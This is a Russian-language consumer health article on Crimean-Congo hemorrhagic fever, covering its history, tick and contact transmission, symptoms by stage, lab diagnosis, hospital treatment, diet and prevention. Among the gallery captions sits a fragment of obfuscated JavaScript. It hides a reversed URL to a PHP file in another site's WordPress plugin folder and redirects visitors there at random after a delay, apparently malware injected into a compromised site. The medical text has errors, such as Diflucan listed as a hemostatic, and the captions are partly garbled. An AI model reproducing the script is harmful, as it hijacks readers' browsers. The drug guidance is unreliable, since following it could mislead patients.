Осторожно: крымская геморрагическая лихорадка!

Мы живём в этом мире, часто не подозревая о том, что на каждом шагу нас могут подстерегать опасные вирусные инфекции, способные вызывать в организме необратимые патологические последствия. Такой страшной болезнью является геморрагическая крымская лихорадка.

Содержание

1 Возникновение крымской геморрагической лихорадки
- 1.1 История открытия возбудителя и территориальное распространение
2 Передача вируса человеку
- 2.1 Осторожно клещи: видео
3 Симптомы вируса на разных этапах
4 Диагностика Конго-Крымской лихорадки
- 4.1 Основы диагностики
- 4.2 Виды лабораторных исследований
5 Лечение геморрагической лихорадки Крым-Конго
- 5.1 Госпитализация: особенности
- 5.2 Специфика лечения
6 Профилактика от случайного заражения

Возникновение крымской геморрагической лихорадки

Крым-Конго — это острое природно-очаговое инфекционное заболевание, которое передаётся от инфицированных живых существ. Возбудитель — РНК-нейровирус. Локализация патогенных микроорганизмов — цитоплазма. Полностью патогенез ещё не изучен.

Воздействие вируса на человеческий организм очень избирательно. То есть, накапливаясь в клетках различных органов, вирус вызывает повышенное кровенаполнение, что в итоге приводит к кровоизлияниям разной степени, появлению тромбов и нарушению циркуляции крови. Последующая массивная атака повреждает гипоталамус головного мозга и кору надпочечников.

Следует учесть, что вирус не выдерживает высоких температур, поэтому при употреблении в пищу термически обработанного мяса больного животного вероятность заражения исключена.

История открытия возбудителя и территориальное распространение

Впервые заболевание, названное позднее геморрагической лихорадкой Крым-Конго, было выявлено в далёком 1944 году на территории Крымского полуострова. Чуть позднее, в 1945 году, профессор Чумаков М.П. выявил сам возбудитель — арбовирус, который способны переносить насекомые и животные в цитоплазме поражённых клеток. Нейровирус остаётся жизнеспособным в высушенном виде, однако, он быстро гибнет во влажных условиях окружающей среды.

Если в Крыму вспышку эпидемии спровоцировали массовые скопления раненых и ослабевших солдат, то в Конго, спустя 9 лет, была зарегистрирована аналогичная пандемия, где первыми официально зарегистрированными заражёнными явились дети.

При глубоком изучении биологических материалов учёные установили, что вирусное поражение людей в Крыму и Конго полностью идентично.

Практически каждый год эта лихорадка вспыхивает как в южной части России и Европы, так и на территории стран Азии и Африки. Сезон вспышки инфекции — с мая по сентябрь.

Крымскую геморрагическую лихорадку сложно распознать на ранних стадиях, а ведь при отсутствии своевременного лечения в 30% случаев может наступить летальный исход. Именно поэтому инфекционисты всего мира уделяют максимальное внимание распознаванию болезни и пресечению расширения ареола.

Существенное изменение климата и быстрота размножения переносчиков болезни стали в последнее время причиной распространения Крым-Конго на тех территориях, где ранее она никогда не встречалась. Примером может служить всплеск инфекции в северо-западных регионах России, Турции и в балканских странах.

Так как впервые вспышки болезни были зарегистрированы в Крыму, а в последующее время — в Конго, то заболевание получило своё название от территориального распространения: конго-крымская геморрагическая лихорадка, Крым-Конго, крымская лихорадка, среднеазиатская лихорадка, ККГЛ.

Передача вируса человеку

Основными вирусоносителями являются:

грызуны;
мелкий и крупный домашний скот;
некоторые виды диких животных;
птицы;
клещи.

Однако, именно клещи, являясь пожизненными носителями возбудителя (передача инфекции своему потомству происходит через яйца), часто переносят возбудителя лихорадки от больных к здоровым людям и животным.

Достоверно установлено, что заражение человека может происходить разными путями:

трансмиссивным, то есть через укус клещей (не исключены иные кровососы);
контактным:
- при попадании заражённой крови или иных биологических выделений на повреждённые участки кожи или слизистые оболочки;
- при случайном раздавливании инфицированных паразитов;
алиментарным, когда сырое мясо или молоко заражённого или/и больного животного попадают в органы пищеварения.

Полностью не исключена возможность заражения воздушно-капельным и воздушно-пылевым путём. Стоит добавить, что вирус способен проникать через плацентарный барьер, передаваясь от инфицированной матери её будущему ребёнку.

На месте внедрения вируса в организм человека патологических видоизменений не наблюдается.

Осторожно клещи: видео

Симптомы вируса на разных этапах

Клиническая классификация болезни не разработана, поэтому стадии условно делят на:

начальный этап;
геморрагический период;
реконвалесценция (самостоятельное выздоровление с возможной сохранившейся дисфункцией некоторых систем).

Кроме этого, имеется инкубационный период заболевания, когда отсутствуют какие-либо симптомы. Такое время развития лихорадки может занимать от 1 до 15 суток.

Начальный этап

В начальном периоде могут быть зафиксированы следующие признаки лихорадки, которые мало чем отличаются от симптомов иных инфекционных заболеваний:

слабость;
ломота в суставах;
головные боли разной степени;
мышечные боли;
головокружение;
озноб;
боли в суставах.

Редкими симптомами в этот период могут быть проявления, типичные для этого недуга:

резкие скачки температуры тела;
боли в икроножных мышцах;
боли в эпигастральной области;
гиперемия (покраснение) лица;
нарушение сознания;
многоразовая рвота, не связанная с приёмом пищи и питья;
боли в пояснице;
признаки начала трахеита и/или бронхита.

Вторая стадия — геморрагический этап

При отсутствии правильного лечения недуг переходит в геморрагическую стадию. Это самый разгар болезни.

Тяжесть такого периода определяет исход заболевания. К вышеперечисленным симптомам в дальнейшем присоединяются следующие характерные признаки лихорадки:

появление геморрагической сыпи на кожных и слизистых покровах;
гиперемия сменяется бледностью;
появляется цианоз (посинение) губ;
лицо становится одутловатым;
кровоточат дёсна, язык, конъюнктив;
у женщин начинается маточное кровотечение;
диарея становится регулярной;
мучает кровохарканье;
снижается артериальное давление;
появляются крупные гематомы;
возможно массированное желудочное и/или кишечное кровотечение;
брадикардия периодически сменяется тахикардией.

В этот период наблюдается вторая волна повышения температуры тела, а состояние больного резко ухудшается.

У некоторых инфицированных на фоне болезни могут проявлять себя:

лейкопения;
анемия;
тромбоцитопения.

Реконвалесценция или этап выздоровления

Если спустя 10–12 суток с начала лихорадки состояние больного нормализуется, то речь может идти о реконвалесценции. Эта стадия болезни характеризуется прекращением кровотечений, нормализацией температуры тела и длительным периодом реабилитации.

Некоторые люди, заболевшие крымской лихорадкой, в силу каких-то причин, переносят болезнь в лёгкой форме, без проявления геморрагии. В таких случаях лихорадка Крым-Конго остаётся не выявленной.

Осложнения и последствия

Тяжёлое течение болезни приводит к серьёзным осложнениям, часто, увы, неизлечимым. К таким последствиям можно отнести:

сепсис;
отёк лёгкого;
хронические отиты;
почечная недостаточность;
крупноочаговая пневмония;
тромбофлебиты.

В случаях возникновения крымской пандемии летальность составляет от 3 до 50%. Если лечение отсутствует, то риск вероятности смертельного исхода увеличивается в несколько раз.

Особенности лихорадки у детей

Особых отличий протекания заболевания у детей и у взрослых людей нет. Однако, необходимо учитывать тот факт, что малыши тяжело переносят высокую температуру. При её резких перепадах у маленьких пациентов могут резко начаться судороги, с присоединением к ним потери сознания и рвоты.

В остальном клиническая картина крымской геморрагической лихорадки для всех больных независимо от половой и возрастной принадлежности протекает идентично и зависит лишь от периода и самой тяжести заболевания.

Диагностика Конго-Крымской лихорадки

В случае подозрения на геморрагическую лихорадку Крым-Конго, медики проводят ряд диагностических исследований. Эпидемиологи работают совместно с инфекционистами. При вспышке даже единичных случаев заражения производят надзор за местностью, выявляя природные очаги инфекции.

Основы диагностики

Начальная диагностика базируется на сборе эпидемиологического анамнеза, когда проводится полный осмотр пациента с учётом не только присутствия симптомов заболевания, но и возможного наличия укусов клещей. Клиническая диагностика предусматривает опрос больных об их пребывании в эндемичном регионе и о контактах с возможными вирусоносителями.

Виды лабораторных исследований

В дальнейшем проводят специфическую и неспецифическую лабораторную диагностику.

Неспецифическая диагностика лихорадки

Так как существует риск обширных кровотечений(то есть большой потери крови), значит может потребоваться донорская кровь. А для этого в обязательном порядке необходимо определение группы и резус-фактора.

Лабораторная диагностика неспецифического характера предопределяет:

клинический анализ крови;
общий анализ мочи;
коагулограмму (проверку протромбинового индекса);
биохимию крови;
анализ кала.

На основании проведённых лабораторных исследований диагностируют лихорадку, если в результате было выявлено:

падение числа эритроцитов при нарастающей анемии;
образование тромбоцитопении, если установлен расход тромбоцитов;
сдвиг влево лейкоцитарной формулы;
изменение фактора свёртываемости крови;
наличие эритроцитов и белка в моче;
присутствие крови в кале.

В тяжёлых случаях может быть повышен уровень мочевины и креатинина.

Специфические анализы и дифференцирование заболевания

Так как вирус под микроскопом невозможно обнаружить, то в лаборатории проводят иммунологические анализы и, в обязательном порядке, полимеразную цепную реакцию, идентифицируя выявленные патогенные микроорганизмы.

Для дифференциальной диагностики, чтобы отличить возбудитель Конго-крымской лихорадки от других микробов, вызывающих, например, лихорадку Эбола, менингококковую инфекцию, тиф, лептоспироз, острый лейкоз или грипп, проводят серологическое исследование. Но так как антитела появляются с некоторым запозданием, то используют полимеразную цепную реакцию. Кроме вышеперечисленных анализов применяют иные специфические биохимические исследования.

Дополнительные меры

Дополнительно используют методы инструментальной диагностики, которые помогают выявить патологии и дисфункции поражённых вирусом внутренних органов:

УЗИ брюшины, почек и печени;
ЭКГ сердца;
рентген грудины;
КТ головного мозга.

После всех методов анализа больного осматривают специалисты:

невролог;
хирург;
кардиолог;
реаниматолог (при необходимости).

Они помогут определить наличие осложнений и иных хронических заболеваний у пациента.

Лечение геморрагической лихорадки Крым-Конго

Госпитализация: особенности

Вне зависимости от степени тяжести болезни и длительности течения лихорадки, больного экстренно и безоговорочно госпитализируют в инфекционное отделение стационара.

Обязательным условием транспортировки является исключение тряски в дороге. Если присутствует сильное внутреннее или наружное кровотечение, перемещение инфицированного запрещено.

Человека, больного геморрагической лихорадкой Крым-Конго, в инфекционном стационаре помещают в специальный изолированный бокс с соблюдением правил противоэпидемического режима относительно патогенных возбудителей 1 группы. Такая изоляция требуется для защиты иных пациентов больницы и персонала от случайного заражения вирусом.

Посещение лиц, инфицированных геморрагической лихорадкой Крым-Конго, запрещено!

Если у больного с данным диагнозом развился ДВС-синдром (нарушение свёртываемости крови из-за массивного освобождения тромбопластических веществ), то его помещают в изолированную реанимационную палату.

Специфика лечения

Лечение начальной стадии лихорадки

В начале развития болезни порой достаточно дезинтоксикации организма при помощи:

раствора глюкозы 5%;
полиионных растворов;
аскорбиновой кислоты 5%;
рутина.

Обязательно использование симптоматических препаратов, снимающих болевые ощущения и понижающие температуру тела, если она превышает 38 градусов:

Ибупрофен;
Парацетамол;
Нимесулид.

Аспирин и сульфаниламиды в лечении данного заболевания использовать нельзя!

Чтобы снизить проницаемость сосудов при отсутствии противопоказаний внутривенно вводят Преднизолон.

Терапевтические меры лечения геморрагической стадии заболевания

Если болезнь перешла в геморрагическую стадию, то требуется обязательное переливание крови, а так же раздельное вливание масс:

эритроцитарной;
лейкоцитарной;
тромбоцитарной.

Прямые переливания крови запрещены, так как существует возможность заражения.

Принцип лечения подразумевает следующее:

Для борьбы с самим возбудителем используют противовирусные препараты:
1. Рибавирин, Эргоферон и Реаферон;
2. гетерогенный иммуноглобулин, созданный из сыворотки лошадиной крови;
3. специальный иммуноглобулин, полученный из крови переболевших лихорадкой Крым-Конго людей.
Чтобы прекратить геморрагические явления назначаются гемостатики (под контролем):
1. Аминокапроновая кислота в виде диффузий;
2. Этамзилат;
3. Хлорид кальция;
4. Дефлюкан;
5. Викасол;
6. Фибриноген.
Если выявлены проблемы с почками, то обязательно применение гемодиализа (искусственная почка).
Компенсировать потерю крови и восстановить её свойства помогут:
1. Полиглюкин;
2. Гемодез.
Для коррекции водно-электролитного баланса в организме и выведения токсинов применяют инффузные вливания, те же что при лечении начальной стадии лихорадки.
В случаях, когда присутствует вероятность присоединения вторичной инфекции, врач назначает антибиотики широкого спектра действия внутривенно:
1. Цефтриаксон;
2. Цефепим;
3. Цефуроксим;
4. Тиментин;
5. Канамицин и прочие.
Для угнетения развития аллергических реакций применяют гипосенсибилизирующие лекарства:
1. антигистаминные препараты (если болезнь протекает в лёгкой форме):
  1. Лоратадин;
  2. Прометазин.
2. кортикостероиды:
  1. Дексаметазон;
  2. Гидрокортизон;
  3. Преднизолон.
Иммунокоррекция подразумевает введение гаммаглобулина.
При необходимости назначают:
1. витамины;
2. сердечные гликозиды;
3. диуретики.

Препараты, используемые в лечении крымской лихорадки: фотогалерея

: Нейровирус остаётся жизнеспособным даже в высушенном виде (на рисунке)

: п

: Достоверно установлено, что заражение людей может происходить разными путями

: Пути заражения

: а

: Полимеразная цепная реакция является основным методом специфического исследования

: Биохимия крови — обязательный метод исследований при подозрении на ККГЛ

: Своевременная госпитализация поможет вовремя справиться с осложнениями

: Кровоизлияния в склеры может быть признаком лихорадки Крым-Конго

: Подкожные кровоизлияния, синяки — стандартная картина крымской лихорадки

: Головная боль и головокружение, повышение температуры тела и озноб — это первые симптомы заболевания

: Так выглядят первые проявления геморрагической крымской лихорадки

: Противовирусный препарат Реаферон поможет в лечении лихорадки

: Гемодез поможет восстановить свойства крови

: Гемостатик необходим для остановки кровотечений. часто используют Фибриноген

: Прометазин — отличное антигистаминное средство в лечении ККГЛ

: Коргликон используют при необходимости в качестве сердечного гликлозида

: В случаях, когда присутствует вероятность присоединения вторичной инфекции, врач назначает антибиотики широкого спектра действия, например Канамицин

: Гаммаглобулин применяют в качестве иммунокорректора

: Для угнетения развития аллергических реакций применяют кортикостероиды, например, Дексаметазон

: в

: Краткие рекомендации по профилактике

: Маннит используют в качестве диуретика при лечении ККГЛ, если это необходимо

: Так выглядит изолированный бокс с обязательным соблюдением противоэпидемического режима относительно патогенных возбудителей 1 группы в специализированных стационарах

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»24361,24356,24357,24354,24355,24364,24360,24358,24359″]

Меню в период лечения лихорадки

В период лечения питание больного — это полужидкая, нежная нежирная пища, без добавления острых и пряных приправ и соусов. В составе меню:

протёртые свежие и отварные неаллергенные фрукты и овощи;
нежирные рыбные и мясные бульоны;
жидкие каши на воде.

По мере выздоровления в рацион постепенно вводят:

кисломолочные продукты;
отварную рыбу и мясо;
отварной картофель.

Лечебные мероприятия в период восстановления

Во время восстановления в стадии реконвалесценции пациент получает обычное диетическое питание, исключающее острые, жирные, копчёные и солёные блюда. А всё лечение сводится к общеукрепляющей и витаминной терапии.

Только на этой стадии выздоровления допустимо применение народной медицины для повышения иммунитета больного и восстановления его жизненных сил. Хороши целебные витаминные чаи на основе шиповника, матэ, суданской розы. При лечении геморрагической лихорадки назначение мочегонных отваров показано только на стадии реконвалесценции с разрешения лечащего врача.

Природная восприимчивость к вирусу крымской лихорадки у людей высока. После выздоровления возникает иммунитет, который сохраняется до двух лет. Для выработки искусственного иммунитета используют формолвакцину, созданную из мозга специально заражённых сосунков лабараторных белых крыс и/или мышей.

Врач-эпидемиолог об опасности крымской лихорадки: видео

Профилактика от случайного заражения

Если обстоятельства сложились так, что случилось оказаться в природном очаге возникновения патологии, то рекомендуется предпринимать некоторые профилактические меры, предохраняющие от случайного заражения крымской геморрагической лихорадкой.

Отправляясь в лес или парк, следует надевать закрытую одежду и обувь, не отказываясь от головного убора.
Держаться подальше от мест обитания клещей: высокой травы и кустов.
Пользоваться постоянно репеллентами, отгоняющими клещей.
По возвращении с лесопарковой зоны осматривать себя на предмет обнаружения кровососущих паразитов.
Проверять регулярно домашних животных.
При обнаружении укуса клеща обязательно обратиться в медучреждение, не дожидаясь симптомов заболевания.
Избегать употребления в пищу непроверенного и необработанного термически молока и/или мяса.
Для выезжающих в южные страны или на территорию Юга России рекомендовано использование профилактических вакцинаций.

Не стоит надеяться на «авось пронесёт». Дорога каждая минута. Потерянное время может в дальнейшем сказаться серьёзными последствиями.

Любой контакт с клещами и иными кровососущими паразитами, особенно если он произошёл в условиях природного очага инфекции, требует срочного обращения к врачу. Правильное лечение на ранней стадии заболевания практически всегда приводит к благоприятному для пациента результату.